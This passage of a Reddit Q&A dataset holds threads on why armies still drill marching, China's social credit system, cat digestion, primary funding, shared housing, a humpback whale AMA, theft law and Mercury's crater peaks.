battlefield was very important. Marching allowed for your army to move together and maintain cohesion.", "the other answers haven't said it so I will: It looks good. Both as a recruitment tool and to intimidate your foes. If everyone was lollygagging around during the parade it would just look sloppy like a group of friends walking to see the president or whatever", "It\u2019s an effective way of moving troops from point a to point b in an organized manner and teaches good response to orders", "The Marine Corps calls it Close Order Drill. Below is a quote from the Drill and Ceremonies Manual that gives some of the reason we still learn the march:\n\n >  The object of close order drill is to teach Marines by exercise to obey orders and to do so immediately in the correct way.  Close order drill is one foundation of discipline and esprit de corps.Additionally, it is still one of the finest methods for developing confidence and troop leading abilities in our subordinate leaders.", "It may not be so useful on the battlefield tactically, but it's still a good way to get everyone to the dining facility and the school house at the same time in an orderly manner.", "The definition I've always learned is \"Drill is used to move a group of people from point A to point B in a smart and orderly fashion.\" Teaches cohesion, obedience and discipline. Though marching isn't necessarily used in combat anymore, drill is used to build up into other movements and more complex and relevant strategies.", "Because we still march in combat. We march in different formations, either a column or a wedge on patrols in combat zones. It\u2019s very practical as vehicles can\u2019t always traverse the ground we sometimes have to cover.\n\n\nSource: Am a soldier, 10+ years in the military.", "Logistics. When you have 40+ people that need to get from one place to another, you need a disciplined march to ensure those 40 Soldiers/Airmen/Marines/Sailors don\u2019t accidentally hurt themselves or break their gear in a chaotic gaggle.", "It also gets the recruits  used to dealing with an angry human. Some people grow up never experience getting \"feedback\" from an angry parent, teacher, coach, whatever - the drill instructor's brashness helps build up the person's tolerance for yelling  &  screaming. In war, you might need to receive orders that way  &  not be put off by the delivery - in a policing context (police also typically learn drill as part of their training) you might need to receive critical details about an ongoing critical incident from someone who is furiously angry/stark raving mad/etc.", "It's a teaching tool for many reasons.  How to move as a unit, how to take orders, and builds self discipline.  Not moving on parade when you aren't supposed to, making precise movements in unison, and making it look good are all individual contributions to the unit's overall image and perceived capability.\n\nIt also teaches recruits to act when they're told to.  Much easier to embed this with drill than say on an active rifle range. \n\nA lot of it is practical in that it makes roll calls, giving orders, and moving people easier than gaggling.  There's also the ceremonial aspect of it.", "Teaches discipline, working together, each soldier/ sailor/ marine is a cog within a single unit, one fuckup and the whole organization can be jeopardized", "Can also set a mental attitude.\n\n\"C 130 rollin' down the strip.\nAirborne Ranger on a one way trip.\nMission unspoken, destination unknown.\nAirborne Ranger ain't never coming home.\"", "One thing not said yet... getting 100+ people from one place to another, and often long distances, in a timely manner requires some logistics and clockwork precision. There's no time for stragglers or people going at their own pace. You're always marching somewhere. To the chow hall, to the armory, to the barracks and so on, and it needs to happen quickly.\n\nIt's a bit like in elementary school and having to walk in lines to go places. It's the best way to ensure a bunch of kids get to where they need to be in a timely manner.", "It's also one of the earliest opportunities for a soldier to take command of other soldiers and issue orders.    \n\n\nMoving a block of 100 people with precision can be a little unnerving the first time.", "The word \"uniform\" is taken to the N-th degree in the military. All I can speak to personally is the Army, but consider the word, most people hear uniform and they think of something you wear. It is, and in most cases where a uniform is something you wear the idea is to remove individuality, not to be degrading necessarily, but that is its point. The Army goes further with uniform to making each person a soldier. Soldier A should function exactly the same as soldier B. The way you move, the way you think, the way you dress, each action/reaction; programmed predictable responses. In this way, if one soldier falls in combat another can be put in his/her place without jeopardizing mission effectiveness.\n\nIf you do a job that ONLY you can do all the enemy need do is kill/disable you and the mission fails. If each soldier is just another \"cog\" in a larger machine, then when one breaks you can just put another one in place. This level of training only works when EVERY aspect of life is trained to be uniform, or unison if you like, it's why even PT (physical training) is done \"in cadence\" each repetition of each exercise is done to a count and done as a unit. Think \"mission first\" and a lot of the things the military does starts to make more sense.", "Marching is a fundamental and easy to use tool to lay the groundwork of reformatting a civilian brain into a military brain.\n\nYes, it used in ceremonial parades, logistics and combat movements like some of the other posters have stated. However it's not one of the first drills that are instructed at basic training because of those mentioned things. \n\nTraining someone to march is one of, if not the most, simplistic and safe way to get a new recruit to do \"a thing\" so many times that it becomes muscle memory. Training a new recruit to do \"many things\" without requiring to think about it that individual starts becoming indoctrinated in a military mindset and then the recruit is off to the races. \n\nOnce a recruit has been prepared learning other forms of instruction that require simple and immediate actions to be performed, parade drills for instance, is more effective.", "Marching is used in more than just combat.  You've got to move huge numbers of people quickly  &  efficiently while keeping track of where each one is every single second - seriously, you wouldn't be able to get that many people through PT or through breakfast every day without marching.\n\nEdit: I was specifically thinking about the numbers in training or in infantry units.  More dispersed units wouldn't find it so necessary.", "As I spent the day in uniform, I'll take a shot at this question. It's part of the militarization process. It teaches soldiers early on to follow called commands and act in cadence. It establishes what we call military bearing. Nearly everything the general public thinks of as \"soldierly\" or \"military\" starts with facing movements and saluting. Answering questions in the correct format. Standing with hands in the correct position (officer versus NCO). All of that training and boot shining (which we no longer do) creates what you think of as a soldier. A large part of our lives are spent preparing for ceremonies.\n\nAlso, we do march and run in formation after basic training. There really is no better way to move 48 soldiers from one location to another in an organized fashion. If people aren't marched, PFC Bumblefuck will prolly get run over on the way to chow.", "I can't remember where I read this, but a study was done where people were asked to do variety of tasks, some considered uncomfortable for normal people, and those who had marched in a group compared to those who hadn't were more likley to perform the uncomfortable tasks. Really fascinating stuff.", "It builds teamwork. \n\nIt is still a VERY good way of pushing physical fitness. \n\nIt is part of the \"discipline\" of the military life. Discipline in this sense is not the immediate unthinking response to order, but part of the self discipline of paying attention to what is going on around you. With a good drill instructor drill and marching is like an exercise in mindfulness. Attention to the surroundings, attention to what the people around you are doing, focus on just walking and moving as a unit. \n\nThe idea of being able to do a formation and wheel and fire volleys into your flank and then respond to a frontal attack is not necessary, but getting 80 people in order and from place A to place B in an organized, timely fashion does still occur on base.  \n\nEver been to a place were 100+ people are trying to get in line and enter a building? Yeah marching and drill discipline is perfect for that.", "One thing missing from all these comments: pride.\n\nWatch these guys [smarten up](_URL_0_) when they see newbies.\n\nMarching with your mates, under arms, is the best thing ever. If done correctly it will give you a boner that lasts a week.", "I think the exercise is important to diminish individuality, it's really unnecessary for any other purpose. As inefficient as the military is, they wouldn't waste so much time in bootcamp on drill if it was really only a vestige of past tactics. It gives you a mindless exercise that builds your sense of group identity and lessens your actions as an individual. \n\nIt doesn't increase teamwork nearly as well as say other complex exercises that require communication and problem solving in a team dynamic, it doesn't increase personal discipline as well as many other physical or mental exercises that also have practical purposes such as fitness, knowledge or proficiency, and it doesn't accomplish anything useful whatsoever. It's just an activity to turn your brain off and melt into the group. The very basic skills are something that a dog can do. Just listen to the commends and get in step. \n\nI wonder if it really is vital to a modern military. Perhaps without drills contribution to the sense of group identity so peculiarly necessary to the military everything would fall apart, who knows? All I can tell you is I fucking hated it and found it deeply offensive and depersonalizing to me as an individual. (I'm sorry R. Lee Ermy)", "It is extremely difficult to move large elements of people in an organized manner while keeping the order you end with the same order you started out with.  Drill and ceremony fixes that, especially if you have more than one element you need to move.", "Marching is taught for a variety of reasons.  First, it teaches active listening.  As an outsider, this can be difficult to understand, but marching actually has many rules.  Marching entails a lot more than just walking in a group.  For example, you have to listen for specific commands like \"column left\" \"to the rear,\" \"mark time,\" and \"half-step.\"  Marching teaches individuals to listen very closely (for the commands) and execute the command immediately.  This is an important part of being a soldier/airman/sailor/marine.  For the person calling the commands, you have to learn them all and use them to navigate the people you're leading--often in a tight space (like on a parade field).  These skills are also really important because it forces you to think on your feet.  It's a lot like playing an old-school video game where you have to be thinking ahead two or three steps to get past an obstacle.  If you call out the wrong command while leading troops in a march, it can quickly become a mess (e.g. people bumping into each other, turning the wrong direction, etc.).  Then there is the element of marching being a *group* activity where an individual's actions will have consequences for everyone else.  This is a critical lesson for military members because you have to rely on your team, and they have to rely on you--an individual making a simple mistake while marching can really mess up the entire group--and it's better to learn this lesson doing a low-risk activity like marching than it is on the battlefield.  \n\nBackground:  am a 20+ year veteran who initially struggled with marching until I thought about how I learned to beat Super Mario 2", "You will get a lot of answers about unit cohesion, instilling respect for orders of a superior and what not but in my considered opinion after 10 years of service there are three real reasons.\n\n**1.** The military still has to gather large numbers of people. Formations and drill make this more efficient whenever we need to do it.\n\n\n**2.** Forcing recruits to go everywhere in formation and teaching them drill in a high stress manner allows drill sergeants to do their job better. (Strip away certain civilian values or ways of thinking and replace them with military ones)\n\n\n**3.** Tradition. For example there are no other reasons a general retiring couldn't give their speech to a concert like audience rather than orderly blocks of people more worried about not passing out than what the general is saying. It's either a deep sense of tradition, or tradition as a cover for their ego.\n\n\nHonestly, after basic training most soldiers don't do anymore than line up in a block formation every morning to make sure everyone is there. They'll use attention, parade rest, and at ease for various things. But marching places, doing counter columns, heck even a file by line or a simple column turn aren't practiced. When an event like a change of command happens units prep about 2 days in advance. \n\nThey're far more worried about training for doing their job than they are doing drill.", "Unit cohesion/solidarity/teamwork.\n\nIf you can\u2019t march in a straight line together, then how are you supposed to coordinate your efforts in a gunfight?", "The whole traditionalism/discipline thing is one aspect, but the practical reason is it as an organized manner to get soldiers from one place to another in garrison. If you can get everyone into a formation at 5:30, and march them everywhere from there, you can probably get everyone or at least almost everyone into the next formation at 6:00. If you send them off piecemeal you can end up with people stuck in traffic, people lost, people abducted by aliens, people who thought it was a good idea to just not show up.", "Because being in actual combat is a tiny percentage of your military career. The military is all about order and uniformity.", "Haven\u2019t seen this one: \n\nintimidation. There is nothing more fear inducing than watching a very large group of uniforms with pointy things move in unison.", "It teaches discipline, coordination and how to do something as a unit.  One person doing it wrong sticks out like a sore thumb when everyone else is doing it correctly, so it's easy to pick people out and fix them.  Plus, everyone should, at least once, road march to the Sponge Bob Square Pants theme song.", "It is to teach discipline and team work through repetitive motion, focus, coordination and listening to orders.", "Marching, or drill, is about teaching people to follow directions immediately without explanation and under high stress.\n\nIt also teaches discipline and doing things perfectly.", "Have you seen an army marching in unison? It\u2019s terrifying! They all look like machines that do as ordered and work together with one purpose. Training people to march not only creates that image but it also causes the soldiers to behave in that way as well. Because it\u2019s also terrifying, you can win a war by instilling fear alone. If people retreat or give up you don\u2019t even have to fight to win. This is largely why they march.", "It is the first building block to combine 40 different people from every walk of life into a single,  functioning unit.", "Marching up and down the square not good enough for you?! What would you rather be doing?\n\nPlaying the piano?!!? Alright off you go!", "It's about unit cohesion. To some extent, it always was. Marching hasn't been that practical as a tactic since ancient times. But if you want an army to be like a machine, getting them to behave like one is a good start.", "US Army Infantry vet here. Marching seems to be pointless at first but after months it instills/synchronizes everyone's pace to a common one, which later you realize how greatly it helps with keeping in step with your teammates when room clearing. \n\nYou have 100000 other things to worry about when going down hallways, pushing thru doors, etc. Having everyone's pacing almost identical prevents stepping on heels, running into teammates and on and on.", "They would say it gets you into team building and following orders but I look to it more as brain washing. You do as your told what ever the situation.", "Above all, it teaches obedience, teamwork, and military bearing. It's useful also in ceremonies and developing attention to detail. Lastly, it's very helpful keeping things organized in the utter chaos we otherwise operate in.", "My dad told me that it was an amazing experience to march in unison with a huge amount of people. He described it as a primal bonding .  It\u2019s a powerful instinct in humans. You see it at sports stadiums, protest marches, dance parties, concerts, church etc. - crowd cohesiveness, once there is a common goal we become pliable under leadership for good or ill. Crowd psychology is used in politics, religion, sports and military because its effective. It puts people into a highly suggestible state.", "Hahaha try explaining that to the austrian army hahaha. We still fucking march 40 kilometers and then have to fight a training battle. Hahaha kill me pls.", "It's vital to get soldiers doing pointless but enforced tasks repetitively, to break down ego and critical thinking facility, so they will kill and die when and how they are told, and will act on command against all human instincts such as compassion and self-reflection. Then call them 'heroes' to carry them through the pain and boredom and make them love the officers and NCOs who bully them.", "It\u2019s so that when you\u2019re asked to be extras in a big battle scene in a movie, you can hit your marks easier."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://youtu.be/nDQvYE8sbc8"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "aiu0c0", "title": "how does the chinese social credit policy function", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aiu0c0/eli5_how_does_the_chinese_social_credit_policy/", "answers": {"a_id": ["eeqhw9s", "eeqifur", "eeqiv0g", "eeqjl9b"], "score": [9, 5, 3, 4], "text": ["I was expecting it to be a crazy high tech dystopian automatic system like it was shown in black mirror, but with less person to person control and more state control.\n\nBut I saw a documentary that was showing how it was actually working in one of the test cities, and it was not as expected. It was a rudimentary pen and paper system, with next to zero tech involved.  Less black mirror and more 3-ring binders, duotangs, and paper spreadsheets.", "Here's a VICE video that explores this topic: _URL_0_\n\nAn important note is that this system, upsetting as it is on its surface, is not implemented country-wide.", "In most business press rather than tabloid news i've heard it clarified as that there's some government efforts but also private company efforts. some tech co.s are trying to establish something similar to a credit score system by equifax or transunion which china currently doesnt have. gov't i think has similar initiatives.\n\n & #x200B;\n\nThe general gist i think is that due to lack of understanding the regular western press has been overhyping (for lack of better word) it.\n\n & #x200B;\n\nedit: i think in general understanding these things in china involves understanding how sometimes there's a sort of evolution of policies through like political natural selection. perhaps central gov't is giving leeway to local governments to come up with their own local solutions like this app and seeing how effective they are before any national adoption.", "It is never existed. There is no any official credit system in China. But media always relates the punishment system to credit system, it is not be proved and has no official source."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=Dkw15LkZ_Kw"], [], []]}
{"q_id": "6i40ss", "title": "Why do obligate carnivores like cats not have severe problems with constipation, despite eating no fibery plants?", "selftext": "What do they have that we humans dont?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6i40ss/why_do_obligate_carnivores_like_cats_not_have/", "answers": {"a_id": ["dj3fuak", "dj4b35w"], "score": [48, 19], "text": ["They can get nutrients by eating the stomachs (and contents) of herbivore prey.", "Their digestion process is catered to their diets. Their stomach acid and other secretions pretty much liquify bones and proteins. And then bile and enzymes help out with processing in the intestinal tract. Water is reabsorbed from what's leftover, and what's left after that can be found in the litterbox. \n\n[A Pretty Good Explanation](_URL_0_) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["www.catster.com/lifestyle/cat-facts-digestive-system-food-butt-mouth"]]}
{"q_id": "4fk6li", "title": "if political parties are \"private clubs\" why do they get to use state money for primaries?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4fk6li/eli5_if_political_parties_are_private_clubs_why/", "answers": {"a_id": ["d29imcu"], "score": [8], "text": ["The states control some aspects of the primaries. For instance, the state can control whether it's open, closed, blanket, etc. The parties get to choose how delegates work because the parties get the results and do what they want with them. A state can say \"we're not going to fund this type of primary\" but it can't say \"if we give you the results from this primary, you have to agree to elect your delegates as we say.\" Just imagine the problems it would cause if a Democrat-controlled state legislature could mess with how the Republican party in its state chose delegates or vice versa.\n\nStates also fund primaries because they see the election as being in the public interest and because if they don't help fund the primary then they will have less of a say in who becomes president. They also don't fund all of the primary - the parties still pay for some of it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1n0l7j", "title": "Are there any historical or current examples of cultures in which it is common or acceptable for \"settled\", unrelated* families of equal social status to share housing**", "selftext": "*By \"unrelated\" I mean they do not consider the other families they share housing with to be their kin\n\n** By \"share housing\" I mean share rooms to do at least 2 of these 3: sleep, cook, or do laundry.\n\n\nPlease only include examples where the families shareing the housing are of equal social status.\n\nPlease exclude examples such as these: people of the same tribe sharing housing in the manner mentioned or families sharing housing where, say, a noble family shares its house with its servants who are commoners or a family that ownes slaves living in the same house as their slaves.  Also, please exclude things like religious or socialist communes or perhaps more generlly communes accociated with widely recognized recent (i.e. in the last 200 years) historical movements (e.g. social movements commonly associated with religious or ideaological movements).\n\nI don't have much of a background in anthropology, archeology, or history.  I took one course at a community college in anthropology and one at the same place in history,  so I'm sorry if my question seems vague or ignorant.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1n0l7j/are_there_any_historical_or_current_examples_of/", "answers": {"a_id": ["cced0m7", "cced3d8", "ccedt2y", "ccei88b"], "score": [7, 5, 2, 4], "text": ["You might have more luck asking in /r/AskHistorians", "[Kommunalkas](_URL_0_) were a very common form of living in the former USSR.  A lot of it was a function of economic necessity / lack of other options, but they were considered normal and acceptable.  Most people who lived in them had a desire to move into more private residences but I imagine that a lot of modern-day apartment dwellers aspire to live in single family homes as well.  \n\nNot sure if this counts since you were asking for the exclusion of socialist communes, but this wasn't merely a small group of ideologues -- it was a large fraction of a large nation.  ", "A Kibbutz would meet your criteria also. _URL_0_", "Yes there are examples of this. Domestic residence patterns vary highly from culture to culture. An example that springs immediately to mind are the apartment compounds at Teotihuacan. These were large, multi-room compounds that had shared public spaces and courtyards. Some were likely composed only of extended families, but many were large enough to accommodate multiple families. Currently, the archaeological data seems to indicate that these functioned similar to the Aztec *calpolli* (the Aztecs lived in the same area but 500 years later). Like calpolli, these were economically specialized communities - so one apartment compound might be making pottery and another would make jewelry. If we can extend the calpolli analogy further, we could say that they probably owned the land on which they lived communally.\n\nI also wanted to point out that you said to exclude people of the same tribe. I assume this is because that qualifies as family. These days most people think \"tribe\" is a fairly meaningless word, but when anthropologists do use it it's typically a political unit not a kinship unit. So you can have multiple, unrelated families that are part of the same \"tribe.\"\n\nAlso, since you said to include current examples, there's the obvious case of modern college students moving into dorms or apartments with roommates. That is a cultural pattern that fits the description you provided - and one many of us are likely to be more familiar with."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Communal_apartment"], ["http://en.wikipedia.org/wiki/Kibbutz"], []]}
{"q_id": "epiehv", "title": "AskScience AMA Series: We are humpback whale experts  &  enthusiasts who created a PBS/BBC documentary \"The Whale Detective.\" Ask us anything!", "selftext": "Hi, I'm [Tom Mustill](_URL_3_), wildlife filmmaker and whale enthusiast. After a humpback whale breached on top of me in 2015 (you may have seen the [viral video](_URL_2_)), I became obsessed with learning about who this whale was and why it had done this. I learned about a lot more about humpbacks and their current situation along the way, culminating in a documentary film you can watch now, titled [\"The Whale Detective.\"](_URL_0_)\n \nI'm joined by [Dr. Joy Reidenberg](_URL_1_), Professor at the Icahn School of Medicine at Mount Sinai in New York City. As an expert in whale anatomy, Joy was a tremendous help as a scientific advisor and correspondent for the film.\n\nWe'll be answering your questions at noon ET (16 UT). Ask us anything!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/epiehv/askscience_ama_series_we_are_humpback_whale/", "answers": {"a_id": ["felfbq2", "fejjlzk", "fejk2fx", "fejkchj", "fejkdhu", "fejklml", "fejkt5s", "fejkwgf", "fejl03h", "fejlfbt", "fejlh4w", "fejlo8g", "fejlq9g", "fejlr9u", "fejlsch", "fejlz59", "fejn134", "fejn4yz", "fejn7rm", "fejn957", "fejnui1", "fejnvsg", "fejogx6", "fejohcs", "fejoohi", "fejp73s", "fejpwvb", "fejq56b", "fejq62e", "fejqg5d", "fejrx46", "fejvvau", "fejvwst", "fejw88r", "fejxunh", "fek023y", "fekgx7h", "fel2rt6"], "score": [2, 52, 46, 86, 7, 7, 49, 17, 36, 14, 10, 2, 9, 6, 2, 46, 4, 2, 19, 2, 4, 5, 22, 3, 4, 2, 2, 5, 2, 2, 2, 2, 2, 33, 3, 2, 2, 2], "text": ["What sort of pathway did each of you follow to become researchers/filmmakers? And how does this intersection of art and science influence how you think about the fields, respectively, and what role do you feel wildlife documentaries play in public perception of conservation?", "Did you wake up one morning and be like sick whales that's what I want to study.. Or has it been something you've been interested in for a long time", "What human actions has impacted the whales? eg. Micro plastics, over fishing, Ocean temperature. In respect of these what changes would have the most benefit that an individual can do now?", "I've read they sleep vertically and shut off one hemisphere of their brain while sleeping. Do the hemispheres alternate in alertness during sleep? Can you expound on what is happening when \"one side of their brain is off during sleep\"?", "So then why did the whale breach on top of you guys?", "So why did the whale breach on top of you?", "What do you think about the ethics of keeping cetaceans in captivity?", "Are there any neurological breakthroughs with whales' cognitive ability?", "How do baleen whales defend themselves against predators? I realize that their size alone often discourages predators from attacking, but how do they fight when they have to?", "Hi! I was told that whales who dive to great depths (idk if humpback whales do that). Account for the big pressure difference when surfacing again by storing the gas bubbles that op up in their bloodstream in their bones. On long term this could be lethal.\n\n1) Is this true, and do all species do this? \n\n2) How does the whale get the bubbles in their bones? \n\n3) How many dives like that can an average whale do without it being really possibly lethal?\n\nI know this probably isn't the type of questions you were looking for, so here's a fourth:\n\nHow close are we to understanding whale language (if we don't understand it yet, how do you go about learning more about it?) and is it different for every species?\n\nThanks A LOT", "So who was the whale? What is their name? Is he/she tracked? What did you think in that moment as the whale was breaching?\n\nWhere do humpback whales mostly live and what are their migration patterns like?", "What whale is the coolest one? Not like in \"Frank is cooler than Willy\", but as in which type of whale.", "Was there ever a time when making the documentary you that it was going to be overwhaleming?\n\nCan you confirm if the music is from an orcastra?", "Two questions for you. What is the average number of offspring per whale pregnancy? Also How much milk does a female humpback whale produce to feed their calf?", "What really sucks about whales?", "Reports say elephants think we're cute because we are baby sized to them. Do you think whales think we are cute and adorable too? Or are we more icky-bug sized to them?", "Do you guys do whale puns? Like Get really carried away\ud83e\udd23", "Hi Tom, Joy, my question is about climate change - has the warming waters had any effect on humpback whale behaviors, births, migration patterns, etc? As a whale enthusiast myself, are sciences careers involving whales really that hard to come by? Thank you!", "What do you think of Star Trek IV: The Voyage Home?", "What are the life lessons you learn from observing humpback whales?", "Has there been much work trying to communicate with whales?  Does anyone research their communications?\n\nDo they have names for each other?  Names for objects like boats or sharks?", "I've heard about whales absorbing many more tons of CO2 than trees - how does that work exactly?", "Have you gotten the chance to swim with one at any point? If yes, how would you describe their interactions with you and their intelligence?\n\nI ask because when I was a child here in Canada, I swam with a wild Beluga that had come inland, close to a wharf. I had never seen that sort of intelligence in an animal before. It was unique in that it could communicate so much with body language alone, and it played with me as another child might do. I had no idea it would be so interested and playful, and it seemed to take a liking to me. We even took turns spraying water at each other. \n\nDo larger whales show that sort of behavior around people? Do we pose any significance to them in that they might try to communicate with people like that?", "How are acoustic signals given off by ships affecting whales? Are they drawn towards large ships and propellers or pulled away from migration routes? Also are there any preventative measures if things like this happen?", "I'm glad the whale didn't kill you.\n\nFor years I have been joking that my wish is to die by being crushed by a breaching whale while swimming in the ocean. I have no idea where this idea of mine came from, but I've been saying it since high school and it often starts arguments about physics and the like that are beyond my understanding. \n\nIn your expert opinion, If a person was treading water in deep seas and a fully grown humpback whale breached directly on top of them, do you think that that person is likely to be killed?  \n\nThanks for your work, I'm excited to watch your Documentary!", "With many whale populations steadily recovering, what should we do to help them along in the future?", "What, if any, is a leading theory of baleen whale sound production? Have any attempts been made to reproduce the sounds in the lab using an actual specimen/anatomical model of the theorized mechanism?", "I've read that humpback whales are the most \"playful\" of the baleen whales, in that they display a lot more breaching and surface antics than the other species. Is this true, and if so, do you have any insight as to why?", "Do you have any tips on how to go on a successful whale watching trip? As well as ways to find whale watching companies that are responsible and respectful?", "How accurate was Voyage of the Mimi?", "Are there any misconceptions about humpbacks, marine life, or the ocean in general that bother you and you wish people would know?", "How can I watch that documentary in the UK?\n\nI'm a physics student and my capstone project is on whale song!", "How much effect did Star Trek IV have on improving things for humpback whales?", "Dr. Reidenberg, is there anything the students at NYCPM should particularly focus on for the upcoming Anatomy quiz?", "Dr. Reidenberg, how do whales anatomy allow for them to do deep dives? \n\np.s. hello from NYCPM", "Loved the doc! Is there an update on Prime Suspect?", "Hi - I loved your documentary and learned a lot too such as how Humpbacks chase off Killer Whales.  Anyway, one thing I couldn't tell from the video of your kayaking experience, is how did you survive the blow?  In  other words, did the mass of the whale hit you personally but with more of a glancing blow, or hit your kayak rather than you, or maybe created a pressure wave that pushed you down and protected you somewhat.....I'm just spitballing here.  But the amazing thing to me was that you survived!  It was pretty neat to see how the whale seemed to notice you while in the air and change his position.\n\nThanks for sharing your experience and the film.", "I stumbled across \"The Whale Detective\" on PBS and thoroughly enjoyed it. Thank you both for the work you are doing the further general understanding of these majestic creatures. In the documentary, Tom, you mention seeking out other cases of whale-human interaction and shared a couple of fascinating encounters. Do you have more footage of other encounters that might, say, end up on a DVD copy of the documentary? Any particular encounters that you'd like to share with the world that didn't make it into the doc due to time?\n\nAgain, thank you both for your work."]}, "title_urls": [], "selftext_urls": ["https://www.pbs.org/wnet/nature/the-whale-detective-5nsii3/20808/", "https://www.mountsinai.org/profiles/joy-s-reidenberg", "https://www.youtube.com/watch?v=8u-MW7vF0-Y&amp;te=1&amp;nl=watching&amp;emc=edit_wg_20200115", "https://twitter.com/tommustill?lang=en"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "4bvejn", "title": "why is robbing petty things from a store felony while not paying rent/credit card bills/other bills is not?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4bvejn/eli5_why_is_robbing_petty_things_from_a_store/", "answers": {"a_id": ["d1crn9x", "d1crrtx"], "score": [2, 3], "text": ["You can get in trouble for not paying credit card debt.  After a period of time, the credit card company can sue you to get the money.  And if you don't comply with the court, that's a problem.\n\nBut I think the distinction comes from the fact that as long as there have been markets and merchants, stealing has been a crime.  Credit card debt--that is, debt that normal citizens accrue in small amounts over a period of time--is new.\n\nThe other difference may be that when you don't pay back your credit card debt, it's not seen as stealing, it's seen as breaking a contract.  The credit card company has agreed to foot the bill  &  you've agreed to pay it back.  But it's a crime that definitionally has to take place over a longer period of time.  When you rob a store, you can get caught *in the act* of doing it.  Which makes it a little more present.\n\nDoes any of that help?", "Cop here:\n\nFor one: what's you're definition of \"rob\"?  A lot of people think it's a synonym of \"steal\", but it's not.  Robbery is stealing by force or intimidation.\n\nStealing something from a store is larceny.\n\nBreaking into a store to steal something is burglary.\n\nRobbery is always a felony, even if all you get is a pack of gum.  There's a person who's a victim that is either harmed, potentially harmed, or who reasonably belives they may be harmed.\n\nBurglary is usually a felony depending on what state you're in and the circumstances surrounding the burglary.  Usually if any larceny is involved, it will automatically be a felony.\n\nLarceny can either be a misdemeanor or a felony.  It depends on a lot of factors that will vary by state.  Usually value of the item is a factor.\n\nNow, as far as not paying rent or credit cards:\n\nWhen you sign up for a credit card or sign a rental agreement- you are entering a civil contact.  You are agreeing to pay a company for thier services.\n\nFailure to pay is a breach of that contract.  It is not *criminal* matter.  Civil laws are different from criminal laws.\n\nThe company can definitely sue you.\n\nNow, there is such a thing as fraud, which is a crime.  There's felony and misdemeanor fraud, but this is different from simple non-payment of a credit card or rent."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "gei4h", "title": "Why do many of the craters on Mercury have a secondary \"dimple\" in the almost direct center?", "selftext": "I was looking over the [image from the Messanger Spacecraft](_URL_0_) that was taken in orbit around Mercury.  I noticed that (at full zoom) several of the craters (20-40% roughly) have some sort of \"dimple\" (for lack of a better term) in their almost exact center.  At first I thought this was from a second impact, but the odds of so many secondary impacts being at the exact center is essentially nil.  I was hoping to gain some insight into exactly what these dimples are and what causes them.  Thanks in advanced.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gei4h/why_do_many_of_the_craters_on_mercury_have_a/", "answers": {"a_id": ["c1mzi39", "c1mzz56", "c1n074w"], "score": [3, 2, 10], "text": ["It's actually a central peak. Many[ craters](_URL_0_) in many places have them.", "It's a rebound structure, they form on [earth](_URL_0_) as well.\nI'm not certain how the physics of it work out, but it is a fairly common feature of LARGE impacts. Smaller meteorites tend to leave [simple holes in the ground](_URL_1_).", "Nice. Several people have posted and nobody has bothered to answer the question. Complex crater formation is unsurprisingly not well understood but here are the basics:\n\n**wrong answer** : When a meteor hits the ground it causes the ground to behave like a fluid, and if it is a sufficiently powerful impact the ground will move down and out. It then will undergo an elastic rebound, moving back in and up and causing a dimple in the center, much like dropping a stone into water.\n\n**Right Answer** : When the meteor hits the ground, if the impact is powerful enough it will cause a deep crater with steep sides. The rock making up the crater will be hugely reduced in strength, making it very brittle. Gravity will quickly equalize for this new shape, and this, along with how brittle the rock has become, will cause the sides to collapse and they will move in and fill the basin of the crater. At the same time, this may also cause rock from deep beneath the impact zone to uplift  through the basin of the crater (why the uplift happens is actually debatable). This uplift is partially covered by the debris from the collapsing sides, and the result is a central peak.  \n\nCouple things to point out: If it were as simple as elastic rebound then the central peak would be composed of the same stuff as the rest of the crater, and not material from deep beneath the floor of the crater, as is often the case. Also, the point at which craters behave like this seems to depend mostly on the gravity at the surface of the body where the crater formed and not just on the size of the crater. I.e. different planets have different complex crater thresholds. This would also not be the case in the water analogy were true.\n\nThis may seem to be an outrageous claim and it is hard to find sources to back this up online since most of the sites either use the water analogy or refer to gravitational equilibrium without further explanation. Here is a pretty sweet explanation of how craters form though:\n\n_URL_1_\n\nHere is a neat nasa memorandum from 1982 in which, among other things, the conclusion is reached that the central peak is a function of gravity\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": ["http://www.nasa.gov/images/content/531749main_MESSENGEROrbitImage.jpg"], "answers_urls": [["http://en.wikipedia.org/wiki/Impact_crater"], ["http://www.igsb.uiowa.edu/Browse/manson99/manson.htm", "http://www.barringercrater.com/science/"], ["http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19860016441_1986016441.pdf", "http://www.lpl.arizona.edu/~jmelosh/impact_crater_collapse.pdf"]]}
